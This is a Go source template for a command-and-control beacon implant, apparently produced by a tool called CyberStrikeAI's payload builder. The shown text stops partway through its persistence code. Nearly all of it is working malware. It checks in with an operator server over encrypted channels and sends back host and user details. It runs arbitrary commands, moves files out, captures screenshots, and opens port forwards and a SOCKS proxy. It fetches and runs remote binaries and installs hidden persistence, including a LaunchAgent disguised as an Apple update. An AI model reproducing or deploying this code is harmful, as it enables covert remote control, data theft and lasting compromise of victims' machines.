Files
2026-05-04 03:45:24 +08:00

1284 lines
32 KiB
Cheetah
Raw Permalink Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
// Code generated by CyberStrikeAI C2 payload builder. DO NOT EDIT.
// 此文件由 internal/c2/payload_builder.go 在生成 beacon 时填充并交叉编译。
// 占位符列表(构建时由 text/template 替换):
// {{.ServerURL}} e.g. http://1.2.3.4:8443
// {{.ImplantToken}} HTTP header X-Implant-Token 值
// {{.AESKeyB64}} 32-byte AES-256 base64
// {{.SleepSeconds}} 默认心跳间隔
// {{.JitterPercent}} 抖动百分比 0-100
// {{.CheckInPath}} 默认 /check_in
// {{.TasksPath}} 默认 /tasks
// {{.ResultPath}} 默认 /result
// {{.UploadPath}} 默认 /upload
// {{.FilePath}} 默认 /file/
// {{.UserAgent}} 默认 Mozilla/5.0 ...
// {{.Transport}} http | tcptcp 时使用 TCP 成帧协议 + 魔数 CSB1,与 tcp_reverse 监听器配套)
// {{.TCPDialAddr}} tcp 时回连地址 host:porthttp 时为空
// {{.TransportMetadata}} 写入 check-in metadata.transporthttp_beacon | tcp_beacon 等)
//
// 设计要点:
// - 无第三方依赖(仅标准库),CGO_ENABLED=0 即可跨平台编译;
// - 所有与服务端的交互均使用 AES-256-GCM 加密;
// - 任务异步并发执行(每个任务一个 goroutine),不阻塞主心跳循环;
// - 出错静默:避免 stderr/stdout 暴露 beacon 存在,panic 统一 recover。
package main
import (
"bytes"
"crypto/aes"
"crypto/cipher"
"crypto/rand"
"crypto/tls"
"encoding/base64"
"encoding/binary"
"encoding/json"
"fmt"
"io"
mrand "math/rand"
"net"
"net/http"
"os"
"os/exec"
"os/user"
"path/filepath"
"runtime"
"strings"
"sync"
"time"
)
// 编译期注入常量(text/template 替换)
const (
serverURL = "{{.ServerURL}}"
implantToken = "{{.ImplantToken}}"
aesKeyB64 = "{{.AESKeyB64}}"
defaultSleep = {{.SleepSeconds}}
defaultJitter = {{.JitterPercent}}
checkInPath = "{{.CheckInPath}}"
tasksPath = "{{.TasksPath}}"
resultPath = "{{.ResultPath}}"
uploadPath = "{{.UploadPath}}"
filePath = "{{.FilePath}}"
userAgent = "{{.UserAgent}}"
beaconTransport = "{{.Transport}}"
tcpDialAddr = "{{.TCPDialAddr}}"
transportMetaConst = "{{.TransportMetadata}}"
)
const tcpBeaconWireMax = 64 << 20
var (
implantUUID string
sessionID string
currentSleep = defaultSleep
currentJit = defaultJitter
cwdMu sync.Mutex
currentCwd string
httpClient *http.Client
// tcpTaskConn 在 TCP Beacon 同步执行任务时指向当前连接,供 fetchC2File 拉取服务端文件。
tcpTaskConn net.Conn
)
// CheckInResp 与服务端 ImplantCheckInResponse 对齐
type CheckInResp struct {
SessionID string `json:"session_id"`
NextSleep int `json:"next_sleep"`
NextJitter int `json:"next_jitter"`
HasTasks bool `json:"has_tasks"`
ServerTime int64 `json:"server_time"`
}
// TaskEnv 与服务端 TaskEnvelope 对齐
type TaskEnv struct {
TaskID string `json:"task_id"`
TaskType string `json:"task_type"`
Payload map[string]interface{} `json:"payload"`
}
// TaskReport 与服务端 TaskResultReport 对齐
type TaskReport struct {
TaskID string `json:"task_id"`
Success bool `json:"success"`
Output string `json:"output,omitempty"`
Error string `json:"error,omitempty"`
BlobBase64 string `json:"blob_b64,omitempty"`
BlobSuffix string `json:"blob_suffix,omitempty"`
StartedAt int64 `json:"started_at"`
EndedAt int64 `json:"ended_at"`
}
func main() {
defer func() { _ = recover() }()
implantUUID = generateImplantUUID()
currentCwd, _ = os.Getwd()
if beaconTransport == "tcp" {
runTCPBeaconForever()
return
}
httpClient = &http.Client{
Timeout: 60 * time.Second,
Transport: &http.Transport{
DisableKeepAlives: true,
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
TLSHandshakeTimeout: 10 * time.Second,
},
}
for {
resp, err := checkIn()
if err == nil && resp != nil {
sessionID = resp.SessionID
if resp.NextSleep > 0 {
currentSleep = resp.NextSleep
}
if resp.NextJitter >= 0 {
currentJit = resp.NextJitter
}
if resp.HasTasks {
envs, err := fetchTasks()
if err == nil {
for _, env := range envs {
go handleTaskAsync(env)
}
}
}
}
time.Sleep(applyJitter(currentSleep, currentJit))
}
}
func runTCPBeaconForever() {
for {
conn, err := net.DialTimeout("tcp", tcpDialAddr, 45*time.Second)
if err != nil {
time.Sleep(applyJitter(currentSleep, currentJit))
continue
}
func() {
defer conn.Close()
if _, err := io.WriteString(conn, "CSB1"); err != nil {
return
}
tcpBeaconSessionLoop(conn)
}()
time.Sleep(applyJitter(currentSleep, currentJit))
}
}
func tcpWriteFrame(conn net.Conn, enc string) error {
b := []byte(enc)
if len(b) == 0 || len(b) > tcpBeaconWireMax {
return fmt.Errorf("bad tcp frame")
}
var hdr [4]byte
binary.BigEndian.PutUint32(hdr[:], uint32(len(b)))
if _, err := conn.Write(hdr[:]); err != nil {
return err
}
_, err := conn.Write(b)
return err
}
func tcpReadFrame(conn net.Conn) (string, error) {
var n uint32
if err := binary.Read(conn, binary.BigEndian, &n); err != nil {
return "", err
}
if n == 0 || int64(n) > int64(tcpBeaconWireMax) {
return "", fmt.Errorf("bad tcp frame size")
}
buf := make([]byte, n)
if _, err := io.ReadFull(conn, buf); err != nil {
return "", err
}
return string(buf), nil
}
func tcpRoundTrip(conn net.Conn, plainJSON []byte) ([]byte, error) {
enc, err := encryptGCM(plainJSON)
if err != nil {
return nil, err
}
if err := tcpWriteFrame(conn, enc); err != nil {
return nil, err
}
_ = conn.SetReadDeadline(time.Now().Add(6 * time.Minute))
cipherB64, err := tcpReadFrame(conn)
if err != nil {
return nil, err
}
return decryptGCM(cipherB64)
}
func tcpBeaconSessionLoop(conn net.Conn) {
for {
resp, err := tcpCheckIn(conn)
if err != nil || resp == nil {
return
}
sessionID = resp.SessionID
if resp.NextSleep > 0 {
currentSleep = resp.NextSleep
}
if resp.NextJitter >= 0 {
currentJit = resp.NextJitter
}
if resp.HasTasks {
envs, err := tcpFetchTasks(conn)
if err == nil {
for _, env := range envs {
handleTaskSyncTCP(conn, env)
}
}
}
_ = conn.SetReadDeadline(time.Time{})
time.Sleep(applyJitter(currentSleep, currentJit))
}
}
func tcpCheckInJSONBody() ([]byte, error) {
checkObj := map[string]interface{}{
"uuid": implantUUID,
"hostname": hostnameOrDefault(),
"username": currentUsername(),
"os": runtime.GOOS,
"arch": runtime.GOARCH,
"pid": os.Getpid(),
"process_name": filepath.Base(exeSelf()),
"is_admin": isAdminProcess(),
"internal_ip": firstInternalIP(),
"user_agent": userAgent,
"sleep_seconds": currentSleep,
"jitter_percent": currentJit,
"metadata": map[string]interface{}{
"transport": transportMetaConst,
"cwd": currentCwd,
},
}
rawCheck, err := json.Marshal(checkObj)
if err != nil {
return nil, err
}
wire := map[string]interface{}{
"op": "check_in",
"token": implantToken,
"check": json.RawMessage(rawCheck),
}
return json.Marshal(wire)
}
func tcpCheckIn(conn net.Conn) (*CheckInResp, error) {
body, err := tcpCheckInJSONBody()
if err != nil {
return nil, err
}
plain, err := tcpRoundTrip(conn, body)
if err != nil {
return nil, err
}
var r CheckInResp
if err := json.Unmarshal(plain, &r); err != nil {
return nil, err
}
return &r, nil
}
func tcpFetchTasks(conn net.Conn) ([]TaskEnv, error) {
wire := map[string]interface{}{
"op": "tasks",
"token": implantToken,
"session_id": sessionID,
}
body, _ := json.Marshal(wire)
plain, err := tcpRoundTrip(conn, body)
if err != nil {
return nil, err
}
var wrapper struct {
Tasks []TaskEnv `json:"tasks"`
}
if err := json.Unmarshal(plain, &wrapper); err != nil {
return nil, err
}
return wrapper.Tasks, nil
}
func tcpReportResult(conn net.Conn, report TaskReport) {
repRaw, err := json.Marshal(report)
if err != nil {
return
}
wire := map[string]interface{}{
"op": "result",
"token": implantToken,
"result": json.RawMessage(repRaw),
}
body, _ := json.Marshal(wire)
_, _ = tcpRoundTrip(conn, body)
}
func handleTaskSyncTCP(conn net.Conn, env TaskEnv) {
defer func() { _ = recover() }()
tcpTaskConn = conn
defer func() { tcpTaskConn = nil }()
start := time.Now()
output, blobB64, blobSuffix, errMsg := executeTask(env.TaskType, env.Payload)
report := TaskReport{
TaskID: env.TaskID,
Success: errMsg == "",
Output: output,
Error: errMsg,
BlobBase64: blobB64,
BlobSuffix: blobSuffix,
StartedAt: start.UnixMilli(),
EndedAt: time.Now().UnixMilli(),
}
tcpReportResult(conn, report)
}
func tcpFetchEncryptedFile(conn net.Conn, fileID string) ([]byte, error) {
fr, _ := json.Marshal(map[string]string{"file_id": fileID})
wire := map[string]interface{}{
"op": "file",
"token": implantToken,
"file": json.RawMessage(fr),
}
body, err := json.Marshal(wire)
if err != nil {
return nil, err
}
plain, err := tcpRoundTrip(conn, body)
if err != nil {
return nil, err
}
var wrapper struct {
FileData string `json:"file_data"`
}
if err := json.Unmarshal(plain, &wrapper); err != nil {
return nil, err
}
return base64.StdEncoding.DecodeString(wrapper.FileData)
}
func fetchC2FileByID(fileID string) ([]byte, error) {
if tcpTaskConn != nil {
return tcpFetchEncryptedFile(tcpTaskConn, fileID)
}
url := fmt.Sprintf("%s%s%s.bin", serverURL, filePath, fileID)
req, _ := http.NewRequest("GET", url, nil)
req.Header.Set("User-Agent", userAgent)
req.Header.Set("X-Implant-Token", implantToken)
resp, err := httpClient.Do(req)
if err != nil {
return nil, err
}
defer resp.Body.Close()
if resp.StatusCode != 200 {
return nil, fmt.Errorf("download failed: %d", resp.StatusCode)
}
raw, err := io.ReadAll(resp.Body)
if err != nil {
return nil, err
}
plain, err := decryptGCM(string(raw))
if err != nil {
return nil, err
}
var wrapper struct {
FileData string `json:"file_data"`
}
if err := json.Unmarshal(plain, &wrapper); err != nil {
return nil, err
}
return base64.StdEncoding.DecodeString(wrapper.FileData)
}
func generateImplantUUID() string {
host, _ := os.Hostname()
mac := firstMACAddr()
return fmt.Sprintf("%s-%s-%d", host, mac, os.Getpid())
}
func firstMACAddr() string {
ifs, err := net.Interfaces()
if err != nil {
return "000000000000"
}
for _, i := range ifs {
if i.Flags&net.FlagLoopback != 0 || len(i.HardwareAddr) == 0 {
continue
}
return strings.ReplaceAll(i.HardwareAddr.String(), ":", "")
}
return "000000000000"
}
func firstInternalIP() string {
ifs, err := net.Interfaces()
if err != nil {
return ""
}
for _, i := range ifs {
if i.Flags&net.FlagLoopback != 0 || i.Flags&net.FlagUp == 0 {
continue
}
addrs, err := i.Addrs()
if err != nil {
continue
}
for _, a := range addrs {
ipnet, ok := a.(*net.IPNet)
if !ok || ipnet.IP.To4() == nil {
continue
}
return ipnet.IP.String()
}
}
return ""
}
func currentUsername() string {
u, err := user.Current()
if err != nil || u == nil {
return "unknown"
}
return u.Username
}
func isAdminProcess() bool {
if runtime.GOOS == "windows" {
_, err := os.Open(filepath.Join(os.Getenv("WINDIR"), "System32", "config", "SAM"))
return err == nil
}
return os.Geteuid() == 0
}
func hostnameOrDefault() string {
h, _ := os.Hostname()
if h == "" {
return "unknown"
}
return h
}
func exeSelf() string {
ex, _ := os.Executable()
if ex == "" {
return "unknown"
}
return ex
}
func applyJitter(baseSec, jitterPct int) time.Duration {
if baseSec <= 0 {
return 5 * time.Second
}
if jitterPct <= 0 {
return time.Duration(baseSec) * time.Second
}
if jitterPct > 100 {
jitterPct = 100
}
delta := mrand.Intn(2*jitterPct+1) - jitterPct
factor := 1.0 + float64(delta)/100.0
return time.Duration(float64(baseSec)*factor) * time.Second
}
func checkIn() (*CheckInResp, error) {
payload := map[string]interface{}{
"uuid": implantUUID,
"hostname": hostnameOrDefault(),
"username": currentUsername(),
"os": runtime.GOOS,
"arch": runtime.GOARCH,
"pid": os.Getpid(),
"process_name": filepath.Base(exeSelf()),
"is_admin": isAdminProcess(),
"internal_ip": firstInternalIP(),
"user_agent": userAgent,
"sleep_seconds": currentSleep,
"jitter_percent": currentJit,
"metadata": map[string]interface{}{
"transport": transportMetaConst,
"cwd": currentCwd,
},
}
body, _ := json.Marshal(payload)
enc, err := encryptGCM(body)
if err != nil {
return nil, err
}
req, _ := http.NewRequest("POST", serverURL+checkInPath, bytes.NewReader([]byte(enc)))
req.Header.Set("User-Agent", userAgent)
req.Header.Set("X-Implant-Token", implantToken)
resp, err := httpClient.Do(req)
if err != nil {
return nil, err
}
defer resp.Body.Close()
if resp.StatusCode != 200 {
return nil, fmt.Errorf("checkin status %d", resp.StatusCode)
}
raw, err := io.ReadAll(resp.Body)
if err != nil {
return nil, err
}
plain, err := decryptGCM(string(raw))
if err != nil {
return nil, err
}
var r CheckInResp
if err := json.Unmarshal(plain, &r); err != nil {
return nil, err
}
return &r, nil
}
func fetchTasks() ([]TaskEnv, error) {
url := fmt.Sprintf("%s%s?session_id=%s", serverURL, tasksPath, sessionID)
req, _ := http.NewRequest("GET", url, nil)
req.Header.Set("User-Agent", userAgent)
req.Header.Set("X-Implant-Token", implantToken)
resp, err := httpClient.Do(req)
if err != nil {
return nil, err
}
defer resp.Body.Close()
if resp.StatusCode != 200 {
return nil, fmt.Errorf("fetch tasks status %d", resp.StatusCode)
}
raw, err := io.ReadAll(resp.Body)
if err != nil {
return nil, err
}
plain, err := decryptGCM(string(raw))
if err != nil {
return nil, err
}
var wrapper struct {
Tasks []TaskEnv `json:"tasks"`
}
if err := json.Unmarshal(plain, &wrapper); err != nil {
return nil, err
}
return wrapper.Tasks, nil
}
func reportResult(report TaskReport) {
body, _ := json.Marshal(report)
enc, err := encryptGCM(body)
if err != nil {
return
}
req, _ := http.NewRequest("POST", serverURL+resultPath, bytes.NewReader([]byte(enc)))
req.Header.Set("User-Agent", userAgent)
req.Header.Set("X-Implant-Token", implantToken)
resp, err := httpClient.Do(req)
if err != nil {
return
}
defer resp.Body.Close()
_, _ = io.ReadAll(resp.Body)
}
func getAESKey() ([]byte, error) {
return base64.StdEncoding.DecodeString(aesKeyB64)
}
func encryptGCM(plaintext []byte) (string, error) {
key, err := getAESKey()
if err != nil {
return "", err
}
block, err := aes.NewCipher(key)
if err != nil {
return "", err
}
gcm, err := cipher.NewGCM(block)
if err != nil {
return "", err
}
nonce := make([]byte, gcm.NonceSize())
if _, err := rand.Read(nonce); err != nil {
return "", err
}
ct := gcm.Seal(nil, nonce, plaintext, nil)
out := append(nonce, ct...)
return base64.StdEncoding.EncodeToString(out), nil
}
func decryptGCM(cipherText string) ([]byte, error) {
key, err := getAESKey()
if err != nil {
return nil, err
}
raw, err := base64.StdEncoding.DecodeString(cipherText)
if err != nil {
return nil, err
}
block, err := aes.NewCipher(key)
if err != nil {
return nil, err
}
gcm, err := cipher.NewGCM(block)
if err != nil {
return nil, err
}
ns := gcm.NonceSize()
if len(raw) < ns+16 {
return nil, fmt.Errorf("ciphertext too short")
}
nonce, ct := raw[:ns], raw[ns:]
return gcm.Open(nil, nonce, ct, nil)
}
func handleTaskAsync(env TaskEnv) {
defer func() { _ = recover() }()
start := time.Now()
output, blobB64, blobSuffix, errMsg := executeTask(env.TaskType, env.Payload)
report := TaskReport{
TaskID: env.TaskID,
Success: errMsg == "",
Output: output,
Error: errMsg,
BlobBase64: blobB64,
BlobSuffix: blobSuffix,
StartedAt: start.UnixMilli(),
EndedAt: time.Now().UnixMilli(),
}
reportResult(report)
}
func executeTask(taskType string, payload map[string]interface{}) (output, blobB64, blobSuffix, errMsg string) {
switch taskType {
case "exec":
return taskExec(payload)
case "shell":
return taskShell(payload)
case "pwd":
return taskPwd()
case "cd":
return taskCd(payload)
case "ls":
return taskLs(payload)
case "ps":
return taskPs()
case "kill_proc":
return taskKillProc(payload)
case "upload":
return taskUpload(payload)
case "download":
return taskDownload(payload)
case "screenshot":
return taskScreenshot()
case "sleep":
return taskSleep(payload)
case "port_fwd":
return taskPortForward(payload)
case "socks_start":
return taskSocksStart(payload)
case "socks_stop":
return taskSocksStop(payload)
case "load_assembly":
return taskLoadAssembly(payload)
case "persist":
return taskPersist(payload)
case "exit":
os.Exit(0)
return "", "", "", ""
case "self_delete":
return taskSelfDelete()
default:
return "", "", "", "unsupported task type: " + taskType
}
}
func shellByOS() string {
if runtime.GOOS == "windows" {
return "cmd"
}
return "/bin/sh"
}
func shellFlag() string {
if runtime.GOOS == "windows" {
return "/c"
}
return "-c"
}
func runWithTimeout(cmdStr string, timeoutSec int) (string, error) {
if timeoutSec <= 0 {
timeoutSec = 60
}
cmd := exec.Command(shellByOS(), shellFlag(), cmdStr)
cwdMu.Lock()
cmd.Dir = currentCwd
cwdMu.Unlock()
done := make(chan struct {
out []byte
err error
}, 1)
go func() {
out, err := cmd.CombinedOutput()
done <- struct {
out []byte
err error
}{out, err}
}()
select {
case res := <-done:
return string(res.out), res.err
case <-time.After(time.Duration(timeoutSec) * time.Second):
_ = cmd.Process.Kill()
return "", fmt.Errorf("timeout")
}
}
func getTimeoutFromPayload(payload map[string]interface{}) int {
to, _ := payload["timeout_seconds"].(float64)
if to <= 0 {
return 60
}
return int(to)
}
func taskExec(payload map[string]interface{}) (string, string, string, string) {
cmdStr, _ := payload["command"].(string)
if cmdStr == "" {
return "", "", "", "command is empty"
}
out, err := runWithTimeout(cmdStr, getTimeoutFromPayload(payload))
if err != nil {
return out, "", "", err.Error()
}
return out, "", "", ""
}
func taskShell(payload map[string]interface{}) (string, string, string, string) {
cmdStr, _ := payload["command"].(string)
if cmdStr == "" {
return "", "", "", "command is empty"
}
// Append a pwd/cd probe to the command so we can capture the real cwd
// after the user's command runs (e.g. "cd /tmp && ls" → cwd becomes /tmp).
var probe string
if runtime.GOOS == "windows" {
probe = " && cd"
} else {
probe = " && pwd"
}
combined := cmdStr + probe
out, err := runWithTimeout(combined, getTimeoutFromPayload(payload))
// The last line of output is the cwd from the probe command.
// Split it off so we don't return the probe output to the operator.
lines := strings.Split(strings.TrimRight(out, "\r\n"), "\n")
if len(lines) > 0 {
candidate := strings.TrimSpace(lines[len(lines)-1])
if filepath.IsAbs(candidate) {
if info, statErr := os.Stat(candidate); statErr == nil && info.IsDir() {
cwdMu.Lock()
currentCwd = candidate
cwdMu.Unlock()
out = strings.Join(lines[:len(lines)-1], "\n")
}
}
}
if err != nil {
return out, "", "", err.Error()
}
return out, "", "", ""
}
func taskPwd() (string, string, string, string) {
cwdMu.Lock()
cwd := currentCwd
cwdMu.Unlock()
return cwd, "", "", ""
}
func taskCd(payload map[string]interface{}) (string, string, string, string) {
path, _ := payload["path"].(string)
if path == "" {
return "", "", "", "path is empty"
}
cwdMu.Lock()
if !filepath.IsAbs(path) {
path = filepath.Join(currentCwd, path)
}
cwdMu.Unlock()
abs, err := filepath.Abs(path)
if err != nil {
return "", "", "", err.Error()
}
info, err := os.Stat(abs)
if err != nil {
return "", "", "", err.Error()
}
if !info.IsDir() {
return "", "", "", "not a directory"
}
cwdMu.Lock()
currentCwd = abs
cwdMu.Unlock()
return abs, "", "", ""
}
func taskLs(payload map[string]interface{}) (string, string, string, string) {
path, _ := payload["path"].(string)
if path == "" {
path = "."
}
cwdMu.Lock()
if !filepath.IsAbs(path) {
path = filepath.Join(currentCwd, path)
}
cwdMu.Unlock()
entries, err := os.ReadDir(path)
if err != nil {
return "", "", "", err.Error()
}
var lines []string
for _, e := range entries {
info, _ := e.Info()
if info != nil {
lines = append(lines, fmt.Sprintf("%s\t%s\t%d\t%s",
e.Type().String(), info.Mode().String(), info.Size(), e.Name()))
} else {
lines = append(lines, e.Name())
}
}
return strings.Join(lines, "\n"), "", "", ""
}
func taskPs() (string, string, string, string) {
if runtime.GOOS == "windows" {
out, err := runWithTimeout("tasklist", 30)
if err != nil {
return out, "", "", err.Error()
}
return out, "", "", ""
}
out, err := runWithTimeout("ps aux", 30)
if err != nil {
return out, "", "", err.Error()
}
return out, "", "", ""
}
func taskKillProc(payload map[string]interface{}) (string, string, string, string) {
pidFloat, _ := payload["pid"].(float64)
pid := int(pidFloat)
if pid <= 0 {
return "", "", "", "invalid pid"
}
proc, err := os.FindProcess(pid)
if err != nil {
return "", "", "", err.Error()
}
if err := proc.Kill(); err != nil {
return "", "", "", err.Error()
}
return "killed", "", "", ""
}
func taskUpload(payload map[string]interface{}) (string, string, string, string) {
remotePath, _ := payload["remote_path"].(string)
fileID, _ := payload["file_id"].(string)
if remotePath == "" || fileID == "" {
return "", "", "", "remote_path or file_id empty"
}
data, err := fetchC2FileByID(fileID)
if err != nil {
return "", "", "", err.Error()
}
if err := os.WriteFile(remotePath, data, 0644); err != nil {
return "", "", "", err.Error()
}
return fmt.Sprintf("uploaded %d bytes to %s", len(data), remotePath), "", "", ""
}
func taskDownload(payload map[string]interface{}) (string, string, string, string) {
remotePath, _ := payload["remote_path"].(string)
if remotePath == "" {
return "", "", "", "remote_path empty"
}
data, err := os.ReadFile(remotePath)
if err != nil {
return "", "", "", err.Error()
}
// File data goes through the standard encrypted result channel via blob_b64
b64 := base64.StdEncoding.EncodeToString(data)
suffix := filepath.Ext(remotePath)
return fmt.Sprintf("downloaded %d bytes from %s", len(data), remotePath), b64, suffix, ""
}
func taskScreenshot() (string, string, string, string) {
var b64Out string
var err error
switch runtime.GOOS {
case "darwin":
b64Out, err = runWithTimeout("screencapture -x /tmp/.cs_ss.png && base64 /tmp/.cs_ss.png && rm -f /tmp/.cs_ss.png", 30)
case "linux":
b64Out, err = runWithTimeout("import -window root /tmp/.cs_ss.png 2>/dev/null && base64 /tmp/.cs_ss.png && rm -f /tmp/.cs_ss.png", 30)
case "windows":
ps := `Add-Type -AssemblyName System.Windows.Forms; Add-Type -AssemblyName System.Drawing; $b=New-Object System.Drawing.Bitmap([System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width,[System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height); $g=[System.Drawing.Graphics]::FromImage($b); $g.CopyFromScreen([System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Location,[System.Drawing.Point]::Empty,$b.Size); $m=New-Object IO.MemoryStream; $b.Save($m,[System.Drawing.Imaging.ImageFormat]::Png); [Convert]::ToBase64String($m.ToArray())`
b64Out, err = runWithTimeout(fmt.Sprintf("powershell -NoProfile -NonInteractive -Command \"%s\"", ps), 30)
default:
return "", "", "", "screenshot not supported on " + runtime.GOOS
}
if err != nil {
return "", "", "", err.Error()
}
b64Out = strings.TrimSpace(b64Out)
return "screenshot captured", b64Out, ".png", ""
}
func taskSleep(payload map[string]interface{}) (string, string, string, string) {
s, _ := payload["seconds"].(float64)
j, _ := payload["jitter"].(float64)
currentSleep = int(s)
currentJit = int(j)
return fmt.Sprintf("sleep set to %ds (jitter %d%%)", currentSleep, currentJit), "", "", ""
}
func taskSelfDelete() (string, string, string, string) {
exe := exeSelf()
if exe == "" || exe == "unknown" {
return "", "", "", "cannot determine self path"
}
go func() {
time.Sleep(2 * time.Second)
os.Remove(exe)
}()
os.Exit(0)
return "", "", "", ""
}
// --- Port Forward ---
var (
portFwdMu sync.Mutex
portFwdConns = make(map[string]net.Listener)
)
func taskPortForward(payload map[string]interface{}) (string, string, string, string) {
action, _ := payload["action"].(string)
localPort := int(getFloat(payload, "local_port"))
remoteHost, _ := payload["remote_host"].(string)
remotePort := int(getFloat(payload, "remote_port"))
if action == "stop" {
key := fmt.Sprintf("%d", localPort)
portFwdMu.Lock()
if ln, ok := portFwdConns[key]; ok {
ln.Close()
delete(portFwdConns, key)
}
portFwdMu.Unlock()
return fmt.Sprintf("port forward on :%d stopped", localPort), "", "", ""
}
if localPort <= 0 || remoteHost == "" || remotePort <= 0 {
return "", "", "", "local_port, remote_host, remote_port required"
}
ln, err := net.Listen("tcp", fmt.Sprintf("127.0.0.1:%d", localPort))
if err != nil {
return "", "", "", err.Error()
}
key := fmt.Sprintf("%d", localPort)
portFwdMu.Lock()
portFwdConns[key] = ln
portFwdMu.Unlock()
go func() {
for {
conn, err := ln.Accept()
if err != nil {
return
}
go func(c net.Conn) {
defer c.Close()
remote, err := net.DialTimeout("tcp", fmt.Sprintf("%s:%d", remoteHost, remotePort), 10*time.Second)
if err != nil {
return
}
defer remote.Close()
done := make(chan struct{}, 2)
go func() { io.Copy(remote, c); done <- struct{}{} }()
go func() { io.Copy(c, remote); done <- struct{}{} }()
<-done
}(conn)
}
}()
return fmt.Sprintf("port forward 127.0.0.1:%d -> %s:%d started", localPort, remoteHost, remotePort), "", "", ""
}
// --- SOCKS5 Proxy ---
var (
socksMu sync.Mutex
socksListener net.Listener
)
func taskSocksStart(payload map[string]interface{}) (string, string, string, string) {
port := int(getFloat(payload, "port"))
if port <= 0 {
port = 1080
}
socksMu.Lock()
if socksListener != nil {
socksMu.Unlock()
return "", "", "", "socks proxy already running"
}
socksMu.Unlock()
ln, err := net.Listen("tcp", fmt.Sprintf("127.0.0.1:%d", port))
if err != nil {
return "", "", "", err.Error()
}
socksMu.Lock()
socksListener = ln
socksMu.Unlock()
go func() {
for {
conn, err := ln.Accept()
if err != nil {
return
}
go handleSocks5(conn)
}
}()
return fmt.Sprintf("SOCKS5 proxy started on 127.0.0.1:%d", port), "", "", ""
}
func taskSocksStop(payload map[string]interface{}) (string, string, string, string) {
socksMu.Lock()
if socksListener != nil {
socksListener.Close()
socksListener = nil
}
socksMu.Unlock()
return "SOCKS5 proxy stopped", "", "", ""
}
func handleSocks5(conn net.Conn) {
defer conn.Close()
buf := make([]byte, 258)
// Auth negotiation
n, err := conn.Read(buf)
if err != nil || n < 3 || buf[0] != 0x05 {
return
}
conn.Write([]byte{0x05, 0x00}) // no auth
// Request
n, err = conn.Read(buf)
if err != nil || n < 7 || buf[0] != 0x05 || buf[1] != 0x01 {
conn.Write([]byte{0x05, 0x07, 0x00, 0x01, 0, 0, 0, 0, 0, 0})
return
}
var target string
switch buf[3] {
case 0x01: // IPv4
if n < 10 {
return
}
target = fmt.Sprintf("%d.%d.%d.%d:%d", buf[4], buf[5], buf[6], buf[7],
int(buf[8])<<8|int(buf[9]))
case 0x03: // Domain
domainLen := int(buf[4])
if n < 5+domainLen+2 {
return
}
domain := string(buf[5 : 5+domainLen])
port := int(buf[5+domainLen])<<8 | int(buf[5+domainLen+1])
target = fmt.Sprintf("%s:%d", domain, port)
case 0x04: // IPv6
if n < 22 {
return
}
ip := net.IP(buf[4:20])
port := int(buf[20])<<8 | int(buf[21])
target = fmt.Sprintf("[%s]:%d", ip.String(), port)
default:
conn.Write([]byte{0x05, 0x08, 0x00, 0x01, 0, 0, 0, 0, 0, 0})
return
}
remote, err := net.DialTimeout("tcp", target, 10*time.Second)
if err != nil {
conn.Write([]byte{0x05, 0x05, 0x00, 0x01, 0, 0, 0, 0, 0, 0})
return
}
defer remote.Close()
// Success reply
conn.Write([]byte{0x05, 0x00, 0x00, 0x01, 0, 0, 0, 0, 0, 0})
done := make(chan struct{}, 2)
go func() { io.Copy(remote, conn); done <- struct{}{} }()
go func() { io.Copy(conn, remote); done <- struct{}{} }()
<-done
}
// --- Load Assembly (in-memory exec) ---
func taskLoadAssembly(payload map[string]interface{}) (string, string, string, string) {
b64Data, _ := payload["data"].(string)
args, _ := payload["args"].(string)
if b64Data == "" {
fileID, _ := payload["file_id"].(string)
if fileID == "" {
return "", "", "", "data (base64) or file_id required"
}
asm, err := fetchC2FileByID(fileID)
if err != nil {
return "", "", "", err.Error()
}
b64Data = base64.StdEncoding.EncodeToString(asm)
}
data, err := base64.StdEncoding.DecodeString(b64Data)
if err != nil {
return "", "", "", "decode assembly: " + err.Error()
}
tmpDir := os.TempDir()
tmpFile := filepath.Join(tmpDir, fmt.Sprintf(".cs_%d", time.Now().UnixNano()))
if runtime.GOOS == "windows" {
tmpFile += ".exe"
}
if err := os.WriteFile(tmpFile, data, 0700); err != nil {
return "", "", "", err.Error()
}
defer os.Remove(tmpFile)
cmdArgs := []string{}
if args != "" {
cmdArgs = strings.Fields(args)
}
cmd := exec.Command(tmpFile, cmdArgs...)
cwdMu.Lock()
cmd.Dir = currentCwd
cwdMu.Unlock()
out, err := cmd.CombinedOutput()
if err != nil {
return string(out), "", "", err.Error()
}
return string(out), "", "", ""
}
// --- Persistence ---
func taskPersist(payload map[string]interface{}) (string, string, string, string) {
method, _ := payload["method"].(string)
if method == "" {
method = "auto"
}
exe := exeSelf()
if exe == "" || exe == "unknown" {
return "", "", "", "cannot determine self path"
}
switch runtime.GOOS {
case "linux":
return persistLinux(exe, method)
case "darwin":
return persistDarwin(exe, method)
case "windows":
return persistWindows(exe, method)
default:
return "", "", "", "persistence not supported on " + runtime.GOOS
}
}
func persistLinux(exe, method string) (string, string, string, string) {
if method == "auto" || method == "cron" {
cronEntry := fmt.Sprintf("@reboot %s &\n", exe)
out, err := runWithTimeout(fmt.Sprintf("(crontab -l 2>/dev/null; echo '%s') | sort -u | crontab -", strings.TrimSpace(cronEntry)), 10)
if err == nil {
return "persistence installed via cron: " + out, "", "", ""
}
}
if method == "auto" || method == "bashrc" {
line := fmt.Sprintf("\n(nohup %s &>/dev/null &) # cs\n", exe)
home, _ := os.UserHomeDir()
if home != "" {
f, err := os.OpenFile(filepath.Join(home, ".bashrc"), os.O_APPEND|os.O_WRONLY|os.O_CREATE, 0644)
if err == nil {
f.WriteString(line)
f.Close()
return "persistence installed via .bashrc", "", "", ""
}
}
}
return "", "", "", "persistence failed on linux"
}
func persistDarwin(exe, method string) (string, string, string, string) {
if method == "auto" || method == "launchagent" {
home, _ := os.UserHomeDir()
if home == "" {
return "", "", "", "cannot determine home dir"
}
plistDir := filepath.Join(home, "Library", "LaunchAgents")
os.MkdirAll(plistDir, 0755)
plist := fmt.Sprintf(`<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key><string>com.apple.systemupdate</string>
